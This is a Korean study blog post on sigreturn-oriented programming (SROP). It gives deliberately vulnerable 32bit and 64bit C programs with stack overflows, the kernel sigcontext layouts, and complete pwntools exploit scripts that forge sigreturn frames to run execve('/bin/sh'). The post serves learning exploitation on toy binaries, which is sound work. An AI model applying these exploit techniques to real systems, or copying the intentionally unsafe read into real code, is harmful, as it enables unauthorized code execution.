본문 바로가기

Pwnable/▷ Study

SROP 32bit, 64bit

BOB 과제하면서 SROP 관련 문제가 나왔다.

하지만 SROP에 대해 잘 몰라서 여러 문서들을 보고 따라해보면서 감을 익혔다.

일단 간단한 32bit 예제와 64bit 예제를 만들고 SROP를 적용해 쉘을 따보는 연습을 내용에 담았다.


32bit SROP 예제 (test.c)

gcc -o test test.c -fno-stack-protector (Ubuntu 14.04 32bit)

char sh[] = "/bin/sh";
void int80()
{
    asm("int $0x80");
}
void main()
{
    char buf[8];
    read(0, buf, 128);		//Overflow 취약점
}


32bit sigcontext 

# ifdef __i386__
struct sigcontext {
    __u16               gs, __gsh;
    __u16               fs, __fsh;
    __u16               es, __esh;
    __u16               ds, __dsh;
    __u32               edi;
    __u32               esi;
    __u32               ebp;
    __u32               esp;
    __u32               ebx;
    __u32               edx;
    __u32               ecx;
    __u32               eax;
    __u32               trapno;
    __u32               err;
    __u32               eip;
    __u16               cs, __csh;
    __u32               eflags;
    __u32               esp_at_signal;
    __u16               ss, __ssh;
    struct _fpstate __user      *fpstate;
    __u32               oldmask;
    __u32               cr2;
};


Exploit

from pwn import *
s = process('./test')

syscall = 0x8048420

payload = "A"*20
payload += p32(syscall)
payload += p32(0x33)
payload += p32(0)
payload += p32(0x7b)
payload += p32(0x7b)
payload += p32(0)
payload += p32(0)
payload += p32(0) #ebp
payload += p32(0) #esp
payload += p32(0x804a020)

payload += p32(0)
payload += p32(0)
payload += p32(0xb)
payload += p32(0)
payload += p32(0)
payload += p32(syscall)
payload += p32(0x73)
payload += p32(0x246)
payload += p32(0)
payload += p32(0x7b)
payload += "\x00"*(118-len(payload))

s.sendline(payload)
s.interactive()

payload를 118로 맞춰준 이유는 read에 엔터값 까지 총 119 size의 data가 입력되는데 119는 sigreturn 의 syscall number이다.

syscall 할때 미리 read의 리턴값을 119를 맞춰줌으로써 (리턴값은 eax로 들어감) sigreturn 을 바로 syscall 할 수 있게 해주기 때문이다.

0xb 는 11 즉 execve의 syscall number


===========================================================


64bit SROP 예제 (test.c)

gcc -o test test.c -fno-stack-protector (Ubuntu 16.04 64bit)

#include <stdio.h>
char tmp[] = "/bin/sh";
int main()
{
	char buf[8];
	char radget[] ="\x58\xc3\x0f\x05\xc3";

	read(0, buf, 512);
}


64bit sigcontext

struct sigcontext {
    __u64               r8;
    __u64               r9;
    __u64               r10;
    __u64               r11;
    __u64               r12;
    __u64               r13;
    __u64               r14;
    __u64               r15;
    __u64               rdi;
    __u64               rsi;
    __u64               rbp;
    __u64               rbx;
    __u64               rdx;
    __u64               rax;
    __u64               rcx;
    __u64               rsp;
    __u64               rip;
    __u64               eflags;     /* RFLAGS */
    __u16               cs;
    __u16               gs;
    __u16               fs;
    union {
        __u16           ss; /* If UC_SIGCONTEXT_SS */
        __u16           __pad0; /* Alias name for old (!UC_SIGCONTEXT_SS) user-space */
    };
    __u64               err;
    __u64               trapno;
    __u64               oldmask;
    __u64               cr2;
    struct _fpstate __user      *fpstate;   /* Zero when no FPU context */
#  ifdef __ILP32__
    __u32               __fpstate_pad;
#  endif
    __u64               reserved1[8];
};


Exploit

from pwn import *

p = process('./test')

binsh = 0x601038
syscall = 0x0000000000400533
poprax = 0x0000000000400531

payload = 'A'*24
payload += p64(poprax)
payload += p64(0xf)		#sigreturn syscall number
payload += p64(syscall)

frame = SigreturnFrame(arch="amd64")
frame.rax = 0x3b
frame.rdi = binsh
frame.rip = syscall

payload += str(frame)

p.send(payload)
p.interactive()

64bit 환경에서 sigreturn syscall number는 15이다.

execve 는 0x3b 즉 59이다.


SROP에 대해 직접 설명하는거 보다 해당 문서를 보는게 15832048배는 쉬울거 같아 주소를 남기겠습니다. 

https://www.lazenca.net/display/TEC/02.SROP%28Sigreturn-oriented+programming%29+-+x64

'Pwnable > ▷ Study' 카테고리의 다른 글

pig_hunting  (2) 2018.03.01
lob 20  (0) 2018.02.21
lob 18  (0) 2018.02.21
ftz level20  (0) 2018.02.18
ftz level19  (0) 2018.02.18